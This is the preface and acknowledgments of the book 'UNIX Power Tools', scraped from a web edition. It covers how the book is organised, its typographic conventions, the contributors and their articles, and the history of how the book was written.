We're getting to the end, so this part of the book has all the things that didn't fit in earlier. That doesn't make it a collection of leftovers, though. In fact, this part of the book has some of the best programs in the whole collection, including a spreadsheet, a business graphics package, and a PostScript calendar-maker you'll wonder how you ever did without.

It's also got information on UNIX's online documentation system and error messages, a miscellanous collection of useful programs and curiosities (now that one is a grab-bag), and a glossary.

It's also got a very important chapter with instructions about how to install the programs from the Power Tools disc!

- TOR

Chapter 48: Office Automation
Chapter 49: Working with Numbers
Chapter 50: Help--Online Documentation, etc.
Chapter 51: Miscellaneous Useful Programs and Curiosities
Chapter 52: What's on the Disc
Glossary

Previous: 47.6 Quick Reference: C Shell switch Statement | UNIX Power Tools | Next: 48. Office Automation
47.6 Quick Reference: C Shell switch Statement | Book Index | 48. Office Automation
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


Preface

Contents:
A Book for Browsing
Like an Almanac
Like a News Magazine
Like a Hypertext Database
Programs on the CD-ROM
About UNIX Versions
Cross-References
What's New in the Second Edition
Typefaces and Other Conventions
The Authors
The Fine Print
Request for Comments
Acknowledgments
Acknowledgments for the Second Edition

A Book for Browsing

Technical books can be boring. But this is not an ordinary technical book! This book is like an almanac, a news magazine, and a hypertext database rolled into one. Instead of trying to put the topics in perfect order-and expecting you to start at the beginning, then read through to the end-we hope that you'll browse. Start anywhere. Read what you want. (That's not quite true. First, you should read this Preface and the pages before it titled How to Use This Book. They will help you get the most out of your time with this book. Next, skim through the UNIX Fundamentals in Chapter 1. Then read what you want.)

UNIX Power Tools | Next: Like an Almanac
Book Index | Like an Almanac
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Like an Almanac

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: A Book for Browsing Preface Next: Like a News Magazine

Like an Almanac

The book is full of practical information. The main purpose isn't to teach you concepts (though they're in here). We've picked a lot of common problems and we'll show you how to solve them.

Even though it's not designed to be read in strict order, the book is organized into chapters with related subject matter. If you want to find a specific subject, the table of contents is still a good place to start. In addition, many of the chapters contain shaded boxes. These are like small tables of contents on a particular subject, which might be even more limited than the scope of the chapter itself. Use the Index when you're trying to find a specific piece of information instead of a general group of articles about a topic.

Previous: A Book for Browsing | UNIX Power Tools | Next: Like a News Magazine
A Book for Browsing | Book Index | Like a News Magazine
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Like a News Magazine

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Like an Almanac Preface Next: Like a Hypertext Database

Like a News Magazine

This book has short articles. Most show a problem and a solution-in one page or less. The articles are numbered within each chapter.

Not all articles are "how-to" tips. Some articles have background information and concepts.

Previous: Like an Almanac | UNIX Power Tools | Next: Like a Hypertext Database
Like an Almanac | Book Index | Like a Hypertext Database
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Like a Hypertext Database

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Like a News Magazine Preface Next: Programs on the CD-ROM

Like a Hypertext Database

Each article doesn't define all the concepts and words used. Instead, it gives you "links" that let you get more information if you need it. It's easy to get more information when you need it but skip the link if you don't. UNIX Power Tools® uses two kinds of links: in a sentence and in the margin. For examples, see the pages before this Preface titled How to Use This Book.

Previous: Like a News Magazine | UNIX Power Tools | Next: Programs on the CD-ROM
Like a News Magazine | Book Index | Programs on the CD-ROM
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Programs on the CD-ROM

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Like a Hypertext Database Preface Next: About UNIX Versions

Programs on the CD-ROM

someprog
The book describes scripts and freely available programs that are available on an accompanying CD-ROM disc. An article about a program or file that's on the CD-ROM will have a CD icon next to it, like this. To get one of these programs, use our install script (52.5). And that cross reference (article Section 52.5, Using the Power Tools CD-ROM ) means that the install script is described in article 5 in Chapter 52, What's on the Disc.

Previous: Like a Hypertext Database | UNIX Power Tools | Next: About UNIX Versions
Like a Hypertext Database | Book Index | About UNIX Versions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] About UNIX Versions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Programs on the CD-ROM Preface Next: Cross-References

About UNIX Versions

There are lots of similarities between different versions of UNIX. But it's almost impossible to write a book that covers every detail of every version correctly. Where we know there might be big differences or problems, we'll print a note in the text. Other places, we're forced to use "weasel words" like "Some versions of xxxxxx will do..." without telling you exactly which versions. When you see those weasel words, what can you do?

  • If the command or feature won't destroy anything when it doesn't work, try it! For instance, don't experiment with rm, the command that removes files. But cat, a command that shows files, most likely won't hurt anything if some feature we tell you about doesn't work with your version.

  • Look at the online manual (50.1) or check your vendor's latest printed manuals. Even these can be wrong. For instance, your system administrator may have installed a local version of a command that works differently-but not updated the online documentation. (The which (50.8) and whereiz (4.10) commands, along with some knowledge about the organization of your filesystem can help you find this out yourself.) Be careful with "generic" manuals, the kind you buy at a bookstore; there are a lot of versions of UNIX and the manual may not match your version closely enough.

  • Ask your system administrator or another "guru" for help before you use a command that might be dangerous.

Previous: Programs on the CD-ROM | UNIX Power Tools | Next: Cross-References
Programs on the CD-ROM | Book Index | Cross-References
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Cross-References

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: About UNIX Versions Preface Next: What's New in the Second Edition

Cross-References

If a cross-reference is to a single word, for example, a command name like this: tar (19.5), the cross reference is probably to an article that introduces that command. Cross references to phrases, like this: writes the verbose information to its standard output (19.8) are to an article that explains more about the concept or problem printed in gray.

Cross references don't necessarily give a complete list of all articles about a topic. We've tried to pick one or a few articles that give the best information. For a more complete list, use the Index.

Previous: About UNIX Versions | UNIX Power Tools | Next: What's New in the Second Edition
About UNIX Versions | Book Index | What's New in the Second Edition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] What's New in the Second Edition

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Cross-References Preface Next: Typefaces and Other Conventions

What's New in the Second Edition

There've been some big changes in UNIX since we wrote the first edition in the early 1990s. We've made this second edition ready for the late 1990s-and, if we guessed right, for the start of the next century. Almost 550 of the more than 800 original articles were revised: many got small edits, but quite a few were completely rewritten. We included literally hundreds of reader suggestions and corrections. The CD-ROM has updated scripts and files, as well as binaries for today's UNIX platforms (including Linux). The biggest changes were:

  • The original split between the System V and BSD flavors of UNIX is still apparent, but it's less important. We've slanted the blend of options and commands more toward the POSIX utilities, including the GNU versions (which are close to POSIX now, but with other features too).

  • The shells tcsh and bash are much more common now than the footnotes we gave them before. Because bash seems to have combined the superior Bourne shell programmability with handy csh interactive features (and more!), we've given it more new coverage than tcsh. But there's plenty for tcsh users here: the first edition was very strong in csh, and almost everything you'll read about csh applies directly to tcsh. Overall, we've kept the first edition's emphasis on the core concepts of sh and csh that will help you use all UNIX shells.

  • The separate chapter on awk is gone; Perl is much more important than awk these days. Some of the original articles, including the handy nine-page awk reference (33.11), have been merged into other chapters. The short chapter on passwords and security is also history now. Just as the book we adapted it from (Practical UNIX and Internet Security) has almost doubled in size, the topic is too important these days for the short coverage we gave it before. As we did with Perl in both editions, we've left much of the security information for other books to cover in depth. (We've still got plenty of cool tips on filesystems and access permissions, though.)

Previous: Cross-References | UNIX Power Tools | Next: Typefaces and Other Conventions
Cross-References | Book Index | Typefaces and Other Conventions
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Typefaces and Other Conventions

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: What's New in the Second Edition Preface Next: The Authors

Typefaces and Other Conventions

Italic

is used for the names of all UNIX utilities, switches, directories, and filenames and to emphasize new terms and concepts when they are first introduced. It's also used in programs and examples to explain what's happening or what's been left out at the ... marks.

Bold

is used occasionally within text to make words easy to find-just like movie stars' names in the People section of your local newspaper.

Constant

Width

is used for sample code fragments and examples. A reference in text to a word or item used in an example or code fragment is also shown in constant width font.

Constant

Bold

is used in examples to show commands or text that would be typed in literally by the user.

Constant

Italic,

Bold

Italic

are used in code fragments and examples to show variables for which a context-specific substitution should be made. (The variable filename, for example, would be replaced by some actual filename.)

function(n)

is a reference to a manual page in Section n of the UNIX programmer's manual. For example, getopt(3) refers to a page called getopt in Section 3.

%

is the C shell prompt.

$

is the Bourne shell prompt.

:-)

is a "smiley face" that means "don't take this seriously." The idea started on Usenet (1.33) and it spread (51.12).

&...

stands for text (usually computer output) that's been omitted for clarity or to save space.

CTRL

starts a control character. To create CTRL-d, for example, hold down the "control" key and press the "d" key. Control characters are not case sensitive; "d" refers to both the uppercase and lowercase letter. The notation ^D also means CTRL-d. Also, you'll sometimes see the key sequence in a box (for example, [CTRL-d] when we want to make it clear exactly what you should type.

is used in some examples to represent a space character.

TAB

is used in some examples to represent a TAB character.

Previous: What's New in the Second Edition | UNIX Power Tools | Next: The Authors
What's New in the Second Edition | Book Index | The Authors
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] The Authors

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Typefaces and Other Conventions Preface Next: The Fine Print

The Authors

This book had three main authors: Jerry Peek, Tim O'Reilly, and Mike Loukides. But we had material from a host of contributors-either people who originally posted a good tip to Usenet, authors of Nutshell Handbooks who let us take material from their books, or authors of software packages who let us take a few paragraphs from README files or other documentation.

Here's a list of authors, their initials, and the articles that they wrote or contributed to:

AD | Angus Duggan | Section 43.23, psselect: Print Some Pages from a PostScript file, Section 43.24, Other PostScript Utilities
AF AEleen Frisch

Section 22.4, Setting an Exact umask , Section 38.5, The ps Command , Section 38.10, Destroying Processes with kill , Section 39.7, Checking System Load: uptime , Section 40.12, Periodic Program Execution: The cron Facility , Section 40.13, Adding crontab Entries , Section 40.14, Including Standard Input Within a cron Entry

AN | Adrian Nye | Section 11.3, My Favorite Is !$
BA | Brandon S. Allbery | Section 41.5, Why Some Systems Backspace over Prompts
BB Bruce Barnett

Section 8.16, Quoting Handles Special Characters in Filenames , Section 8.17, verbose and echo Variables Show Quoting , Section 8.18, Here Documents , Section 8.19, "Special" Characters and Operators , Section 16.21, Finding All Directories with the Same Name , Section 16.24, Counting Files by Types , Section 16.25, Listing Files by Age and Size , Section 17.2, Delving Through a Deep Directory Tree , Section 17.4, Looking for Files with Particular Names , Section 17.5, Searching for Old Files , Section 17.10, Running Commands on What You Find , Section 17.13, Searching for Files by Type , Section 17.14, Searching for Files by Size , Section 17.15, Searching for Files by Permission , Section 17.16, Searching by Owner and Group , Section 17.25, Keeping find From Searching Networked Filesystems, Section 20.2, Make Your Own Backups , Section 20.3, How to Make Backups with a Local Tape Drive , Section 20.4, Restoring Files from Tape with tar , Section 20.5, Using tar to a Remote Tape Drive , Section 20.7, Creating a Timestamp File for Selective Backups , Section 20.8, Telling tar Which Files to Exclude or Include , Section 20.12, Protecting Files with SCCS or RCS , Section 20.13, SCCS Basics , Section 20.14, RCS Basics , Section 22.2, Tutorial on File and Directory Permissions , Section 22.9, Protect Important Files: Make Them Unwritable , Section 23.6, A Faster Way to Remove Files Interactively , Section 23.7, Safer File Deletion in Some Directories , Section 26.2, Don't Confuse Regular Expressions with Wildcards , Section 26.4, Using Metacharacters in Regular Expressions , Section 31.11, Typing in Uppercase Without CAPS LOCK , Section 31.13, Making Cursor Keys Work in vi Text-input Mode

BR Bill Rosenblatt

Section 11.13, Shell Command-Line Editing , Section 32.1, Emacs: The Other Editor , Section 32.3, Customizations and How to Avoid Them , Section 32.6, Command Completion , Section 32.12, Getting Around Emacs Flow Control Problems , Section 44.18, Standard Command-Line Parsing

CT Chris Torek

Section 7.3, C Shell Prompt Causes Problems in vi, rsh, etc. , Section 8.12, Which One Will the C Shell Use? , Section 14.12, Marking Your Place with a Shell Variable , Section 16.5, The Three UNIX File Times , Section 17.22, Finding the Links to a File , Section 17.24, Skipping Some Parts of a Tree in find (A More Selective -prune), Section 20.6, Writing a Tape Drive on a Remote Machine , Section 22.20, Why Can't You Change File Ownership Under BSD UNIX?, Section 23.18, How Making and Deleting Directories Works , Section 23.19, Deleting (BSD) Manual Pages that Aren't Read , Section 23.22, Using find to Clear Out Unneeded Files , Section 24.3, Unlinking Open Files Isn't a Good Idea , Section 24.16, Trimming a Huge Directory , Section 30.3, Mice vs. vi , Section 30.34, vi Line Commands vs. Character Commands , Section 33.7, ed/ex Batch Edits: Avoid Errors When No Match , Section 34.23, sed Newlines, Quoting, and Backslashes in a Shell Script, Section 38.7, Why ps Prints Some Commands in Parentheses , Section 38.16, Why You Can't Kill a Zombie , Section 38.17, Automatically Kill Background Processes on Logout in csh, Section 41.2, stty and All That Stuff , Section 41.6, Using sleep to Keep Port Settings , Section 45.2, The Story of : # #! , Section 45.4, Fun with #! , Section 45.4, Section 45.14, Finding the Last Command-Line Argument , Section 45.24, A Shell Can Read a Script from its Standard Input, But..., Section 45.26, Quoted hereis Document Terminators: sh vs. csh , Section 46.2, Quoting Trouble? Think, Then Use echo , Section 46.6, Watch Out for Bourne Shell -e Bug , Section 46.7, Quoting and Command-Line Parameters

DC Debra Cameron

Section 32.1, Section 32.3, Section 32.4, Backup and Auto-Save Files , Section 32.5, Putting Emacs in Overwrite Mode , Section 32.11, Using Word Abbreviation Mode , Section 32.12

DD Dale Dougherty

Section 1.6, Power Tools for Editing , Section 1.28, Some Gotchas with Background Processing , Section 26.1, That's an Expression , Section 26.3, Understanding Expressions , Section 26.5, Getting Regular Expressions Right , Section 26.6, Just What Does a Regular Expression Match? , Section 26.7, Limiting the Extent of a Match , Section 26.8, I Never Meta Character I Didn't Like , Section 27.2, Searching for Text with grep , Section 27.5, Extended Searching for Text with egrep , Section 28.1, Checking Differences with diff , Section 28.2, Comparing Three Different Versions with diff3 , Section 29.1, The UNIX spell Command , Section 29.3, How Do I Spell That Word? , Section 29.4, Inside spell , Section 30.10, Confirming Substitutions in ex and vi, Section 30.31, vi Word Abbreviation , Section 33.2, Writing Editing Scripts , Section 33.12, Versions of awk , Section 34.3, Testing and Using a sed Script: checksed, runsed , Section 34.4, sed Addressing Basics , Section 34.5, Order of Commands in a Script , Section 34.6, One Thing at a Time , Section 34.7, Delimiting a Regular Expression , Section 34.8, Newlines in a sed Replacement , Section 34.9, Referencing the Search String in a Replacement , Section 34.10, Referencing Portions of a Search String , Section 34.11, Search & Replacement: One Match Among Many , Section 34.13, Hold Space: The Set-Aside Buffer , Section 34.14, Transforming Part of a Line , Section 34.15, Making Edits Across Line Boundaries , Section 34.16, The Deliberate Scrivener , Section 34.18, Multiline Delete , Section 34.20, The sed Test Command , Section 43.2, Introduction to Printing on UNIX , Section 43.18, How nroff Makes Bold and Underline; How to Remove It, Section 43.19, Removing Leading Tabs and Other Trivia , Section 48.10, Working with Names and Addresses

DG Daniel Gilly

Section 8.5, Command-Line Evaluation , Section 9.25, The C Shell repeat Command , Section 10.2, Aliases for Common Commands , Section 15.7, Getting a List of Matching Files with grep -l , Section 15.8, Getting a List of Non-Matching Files with grep -c , Section 16.12, Useful ls Aliases , Section 25.2, Four Ways to Skin a cat , Section 26.2, Section 26.9, Valid Metacharacters for Different UNIX Programs , Section 26.10, Pattern Matching Quick Reference with Examples , Section 28.12, Comparing Two Files with comm , Section 28.15, Show Changes in a troff File with diffmk , Section 29.6, Counting Lines, Words, and Characters: wc , Section 30.15, Useful Global Commands (with Pattern Matches) , Section 30.31, Section 31.2, Save Time and Typing with the vi map Commands , Section 31.6, Protecting Keys from Interpretation by ex , Section 31.8, More Examples of Mapping Keys in vi , Section 33.3, Line Addressing , Section 33.4, Useful ex Commands , Section 33.11, Quick Reference: awk , Section 34.24, Quick Reference: sed , Section 35.10, Splitting Files by Context: csplit , Section 35.14, Cutting Columns or Fields with cut , Section 35.18, Pasting Things in Columns , Section 35.20, Quick Reference: uniq , Section 43.7, Quick-and-Dirty Formatting Before Printing , Section 45.28, Quick Reference: expr , Section 47.3, Conditional Statements with if , Section 47.4, C Shell Variable Operators and Expressions , Section 47.6, Quick Reference: C Shell switch Statement

DH | Dave Hitz | Section 31.15, Fooling vi into Allowing Complex Macros
DL | Don Libes | Section 9.26, Expect
DR Daniel Romike

Section 9.6, String Editing (Colon) Operators , Section 11.7, History Substitutions

DS Daniel Smith

Section 2.13, A .cshrc.$HOST File for Per Host Setup , Section 10.5, Sourceable Scripts , Section 16.9, An Alias to List Recently Changed Files , Section 45.32, A Better read Command: grabchars

EK Eileen Kramer

Section 30.2, What We Cover , Section 31.1, Why Type More Than You Have To?

EP Eric Pearce

Section 52.5, Section 52.6, Don't Have a CD-ROM Drive? , Section 52.8, Building Programs from Source Code

GS | Gene Spafford | Section 22.17, Ways of Improving the Security of crypt
GU Greg Ubben

Section 27.11, A Multiline Context grep Using sed , Section 27.14, Compound Searches , Section 34.17, Searching for Patterns Split Across Lines

HS | Henry Spencer | Section 21.4, Why Both /tmp and /usr/tmp?
JIK Jonathan I. Kamens

Section 10.8, Fix Quoting in csh Aliases with makealias and quote , Section 19.7, Extracting Files from a Compressed Archive , Section 22.14, Add Users to a Group to Deny Permission , Section 23.9, delete: Protecting Files from Accidental Deletion , Section 24.18, Huge Files Might Not Take a Lot of Disk Space , Section 27.12, Make Custom grep Commands (etc.) with perl , Section 35.9, Splitting Files at Fixed Points: split , Section 38.3, Managing Processes: Overall Concepts , Section 38.12, Killing All Your Processes , Section 51.11, Making an Arbitrary-Size File for Testing

JM | Jeff Moskow | Section 52.9, Software Support from RTR
JP | Jerry Peek
JS John Strang

Section 5.2, The Idea of a Terminal Database , Section 30.28, Keep Track of Functions and Included Files with ctags and tags, Section 41.10, Using terminfo Capabilities in Shell Programs , Section 41.11, How termcap and terminfo Describe Terminals , Section 41.12, Finding Out What Characters Your Terminal's Special Keys Send

LK | Lar Kaufman | Section 29.5, Adding Words to ispell's Dictionary
LL Linda Lamb

Section 30.4, Editing Multiple Files with vi , Section 30.5, Edits Between Files , Section 30.9, Using Search Patterns and Global Commands, Section 30.11, Keep Your Original File, Write to a New File , Section 30.12, Saving Part of a File , Section 31.2, Section 31.6

LM Linda Mui

Section 3.7, Detaching a Session with screen , Section 5.5, Querying Your Terminal Type: qterm , Section 11.14, More Ways to Do Interactive History Editing , Section 12.9, Running Multiple Shell Sessions with screen , Section 13.11, tpipe-Redirecting stdout to More than One Place , Section 16.20, The vtree Visual Directory Tree Programs , Section 18.7, Linking Directories , Section 18.11, Renaming Files with ren , Section 22.15, Juggling Permissions , Section 22.16, Copying Permissions with cpmod , Section 25.18, Watching Several Files Grow , Section 27.9, New greps Are Much Faster , Section 27.20, A Highlighting grep , Section 28.5, Comparing Files Alongside One Another , Section 28.8, More Friendly diff Output , Section 33.10, Quick Globals from the Command Line with qsubst , Section 35.23, Rotating Text , Section 43.14, nroff/troff and Macro Packages , Section 43.17, Don't Have nroff? Try gnroff or awf , Section 43.21, Preprocessing troff Input with sed , Section 43.25, The Portable Bitmap Package , Section 45.11, The Multipurpose jot Command , Section 48.8, Calendar for 132-Column Terminals or Printers , Section 48.9, PostScript Calendars with pcal , Section 48.11, The index Database Program , Section 48.12, Using index with a Filter , Section 49.5, Base Conversion Using cvtbase , Section 51.7, When You Get Impatient , Section 52.4, Quick Descriptions of What's on the Disc , Section 52.8

LW Larry Wall

Section 18.8, Showing the Actual Filenames for Symbolic Links , Section 18.10, There's More than One Way to Do It , Section 18.14, Relinking Multiple Symbolic Links , Section 27.13, More grep-like Programs Written in Perl , Section 37.2, Why Learn Perl? #1 , Section 37.3, Three Great Virtues of a Programmer

MAL Maarten Litmaath

Section 13.16, Store and Show Errors with logerrs , Section 50.8, Which Version Am I Using?

ML | Mike Loukides
MS | Mike Stansbery | Section 49.4, bc's Sine and Cosine Are in Radians
RS Randal Schwartz

Section 18.8, Section 18.10, Section 18.14, Section 27.13, Section 37.2, Section 37.3

SG | Simson Garfinkel | Section 22.17
SW | Sun Wu | Section 27.8, glimpse and agrep
TC Tom Christiansen

Section 13.2, One Argument with a cat Isn't Enough , Section 31.9, Good Stuff for Your .exrc File , Section 37.4, Why Learn Perl? #2 , Section 47.2, C Shell Programming Considered Harmful

TOR | Tim O'Reilly
UM | Udi Manber | Section 27.8

Previous: Typefaces and Other Conventions | UNIX Power Tools | Next: The Fine Print
Typefaces and Other Conventions | Book Index | The Fine Print
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] The Fine Print

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: The Authors Preface Next: Request for Comments

The Fine Print

Where we show an article from an author on Usenet, that person may not have thought of the idea originally, but may just be passing on something he or she learned. We attribute everything we can.

Previous: The Authors | UNIX Power Tools | Next: Request for Comments
The Authors | Book Index | Request for Comments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Request for Comments

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: The Fine Print Preface Next: Acknowledgments

Request for Comments

Please tell us about any errors you find in this book or ways you think it could be improved. Our U.S. mail address, phone numbers, and electronic mail address are:

O'Reilly & Associates, Inc.
101 Morris Street
Sebastopol, CA 95472
in U.S. and Canada: 1-800-998-9938
international or local: 1-707-829-0515
FAX: 1-707-829-0104
Email: bookquestions@oreilly.com

Previous: The Fine Print | UNIX Power Tools | Next: Acknowledgments
The Fine Print | Book Index | Acknowledgments
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Acknowledgments

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Request for Comments Preface Next: Acknowledgments for the Second Edition

Acknowledgments

This book wouldn't exist without Ron Petrusha. As the technical book buyer at Golden-Lee, a major book distributor, he discovered us soon after we started publishing Nutshell Handbooks in the mid-'80s. He was one of our early boosters, and we owed him one. So when he became an editor at Bantam (whose computer book publishing operations were later acquired by Random House), we took him seriously when he started asking if there was anything we could do together.

At first nothing seemed to fit, since by that time we were doing pretty well as a publisher. We needed to find something that we could do together that might sell better than something that either company might do alone. Eventually, Ron suggested that we co-publish a UNIX book for Bantam's "Power Tools" series. This made sense for both of us. It gave Bantam access to our UNIX expertise and reputation, and gave us a chance to learn from Bantam about the mass market bookstore trade, as well as build on their successful "Power Tools" series.

But what would the book contain? There were two features of Bantam's original DOS Power Tools that we decided to emulate: its in-depth treatment of under-documented system features, and its large collection of freely available scripts and utilities. However, we didn't want to write yet another book that duplicated the format of many others on the market, in which chapters on each of the major UNIX tools follow one another in predictable succession. Our goal was certainly to provide essential technical information on UNIX utilities, but more importantly, to show how the utilities can be combined and used to solve common (and uncommon) problems.

Similarly, because we were weary of the multitude of endlessly tutorial books about UNIX utilities, we wanted to keep the tone brisk and to the point. The solution I came up with, a kind of "hypertext in print," actually owes a lot to Dale Dougherty. Dale has been working for several years on hypertext and online information delivery, and I was trying to get him to work with me on this project. So I tried to imagine the kind of book that he might like to create. (We have a kind of friendly rivalry, in which we try to leapfrog each other with ideas for new and better books!) Dale's involvement never went far beyond the early brainstorming stage, but the book still bears his indirect stamp. In some of the first books he wrote for me, he introduced the idea that sidebars-asides that illuminate and expand on the topic under discussion-could be used effectively in a technical book. Well, Dale, here's a book that's nothing but sidebars!

Dale, Mike Loukides, and I worked out the basic outline for the book in a week or two of brainstorming and mail exchanges. We thought we should be able to throw it together pretty quickly by mining many of our existing books for the tips and tricks buried in them. Unfortunately, none of us was ever able to find enough time, and the book looked to be dying a slow death. (Mike was the only one who got any writing done.) Steve Talbott rescued the project by insisting that it was just too good an idea to let go; he recruited Jerry Peek, who had just joined the company as a writer and UNIX consultant/tools developer for our production department.

Production lost the resulting tug of war, and Jerry plunged in. Jerry has forgotten more UNIX tips and tricks than Mike, Dale, or I ever knew; he fleshed out our outline and spent a solid year writing and collecting the bulk of the book. I sat back in amazement and delight as Jerry made my ideas take shape. Finally, though, Jerry had had enough. The book was just too big and he'd never signed on to do it all alone! (It was about 1000 pages at that point, and only half done.) Jerry, Mike, and I spent a week locked up in our conference room, refining the outline, writing and cutting articles, and generally trying to make Jerry feel a little less like Sisyphus.

From that point on, Jerry continued to carry the ball, but not quite alone, with Mike and I playing "tag team," writing and editing to fill in gaps. I'm especially grateful to Mike for pitching in, since he had many other books to edit and this was supposed to be "my" project. I am continually amazed by the breadth of Mike's knowledge and his knack for putting important concepts in perspective.

Toward the end of the project, Linda Mui finished up another book she was working on and joined the project, documenting many of the freely available utilities that we'd planned to include but hadn't gotten around to writing up. Linda, you really saved us at the end!

Thanks also to all the other authors, who allowed us to use (and sometimes abuse!) their material. In particular, we're grateful to Bruce Barnett, who let us use so much of what he's written, even though we haven't yet published his book, and Chris Torek, who let us use many of the gems he's posted to the Net over the years. (Chris didn't keep copies of most of these articles; they were saved and sent in by Usenet readers, including Dan Duval, Kurt J. Lidl, and Jarkko Hietaniemi.)

Jonathan Kamens and Tom Christiansen not only contributed articles but read parts of the book with learned and critical eyes. They saved us from many a "power goof." If we'd been able to give them enough time to read the whole thing, we wouldn't have to issue the standard disclaimer that any errors that remain are our own. H. Milton Peek provided technical review and proofreading. Four sharp-eyed Usenet readers helped with debugging: Casper Dik of the University of Amsterdam, Byron Ratzikis of Network Appliance Corporation, Dave Barr of the Population Research Institute, and Duncan Sinclair.

In addition to all the acknowledged contributors, there are many unacknowledged ones-people who have posted questions or answers to the Net over the years, and who have helped to build the rich texture of the UNIX culture that we've tried to reflect in this book. Jerry also singles out one major contributor to his own mastery of UNIX. He says: "Daniel Romike of Tektronix, Inc. (who wrote articles Section 9.6 and Section 11.7 in the early 1980s, by the way) led the first UNIX workshop I attended. He took the time to answer a ton of questions as I taught myself UNIX in the early 1980s. I'm sure some of the insights and neat tricks that I thought I've figured out myself actually came from Dan instead."

James Revell and Bryan Buus scoured "the Net" for useful and interesting free software that we weren't aware of. Bryan also compiled most of the software he collected so we could try it out and gradually winnow down the list.

Thanks also to all of the authors of the software packages we wrote about and included on the disk! Without their efforts, we wouldn't have had anything to write about; without their generosity in making their software free in the first place, we wouldn't be able to distribute hundreds of megabytes of software for the price of a book.

Jeff Moskow of Ready-to-Run Software solved the problem we had been putting off to the end, of packaging up all the software for the disk, porting it to the major UNIX platforms, and making it easy to install. This was a much bigger job than we'd anticipated, and we could never have done it without Jeff and the RTR staff. We might have been able to distribute source code and binaries for a few platforms, but without their porting expertise, we could never have ported all these programs to every supported platform. Eric Pearce worked with RTR to pre-master the software for CD-ROM duplication, wrote the installation instructions, and made sure that everything came together at the end! (Eric, thanks for pitching in at the last minute. You were right that there were a lot of details that might fall through the cracks.)

Edie Freedman worked with us to design the format of the book-quite an achievement considering everything we wanted the format to do! She met the challenge of presenting thousands of inline cross references without distracting the reader or creating a visual monstrosity. What she created is as attractive as it is useful-a real breakthrough in technical book design, and one that we plan to use again and again!

Lenny Muellner was given the frightful task of implementing all of our ideas in troff - no mean feat, and one that added to his store of grey hair.

Eileen Kramer was the copyeditor, proofreader, and critic who made sure that everything came together. For a thousand-plus page book with multiple authors, it's hard to imagine just how much work that was.

Ellie Cutler wrote the index; Chris Reilley created the illustrations. Additional administrative support was provided by Bonnie Hyland, Donna Woonteiler, and Jane Appleyard.

- Tim O'Reilly

Previous: Request for Comments | UNIX Power Tools | Next: Acknowledgments for the Second Edition
Request for Comments | Book Index | Acknowledgments for the Second Edition
The UNIX CD Bookshelf Navigation The UNIX CD BookshelfUNIX Power ToolsUNIX in a NutshellLearning the vi Editorsed & awkLearning the Korn ShellLearning the UNIX Operating System


[Preface] Acknowledgments for the Second Edition

UNIX Power Tools

UNIX Power ToolsSearch this book
Previous: Acknowledgments Preface Next: 1. Introduction

Acknowledgments for the Second Edition

After teaching myself about UNIX for the past 15 years, I'm off to graduate school in Computer Science. Frank Willison, O'Reilly's Editor-in-Chief, fit this project into the summer between leaving my position at ORA and starting school. Frank didn't just give me something to do in the summer: the royalties should help to pay for my coursework. (So, buy this book and support a student! ;-)) Gigi Estabrook edited this edition and fielded my zillions of questions along the way. Many thanks to Gigi, Frank, and ORA's Production staff. Clairemarie Fisher O'Leary and Nancy Wolfe Kotary shared the jobs of production editor and project manager. Madeleine Newell and Kismet McDonough-Chan provided production support. Sheryl Avruch, Nicole Gipson Arigo, and Danny Marcus provided quality control checks. Lenny Muellner provided extensive troff assistance and technical support. Chris Reilley created the technical illustrations.

When time was short, I got expert advice from Arnold Robbins, the maintainer of the GNU gawk utility, and co-author of O'Reilly's sed & awk, second edition. He reviewed parts of the book and gave me thorough comments.

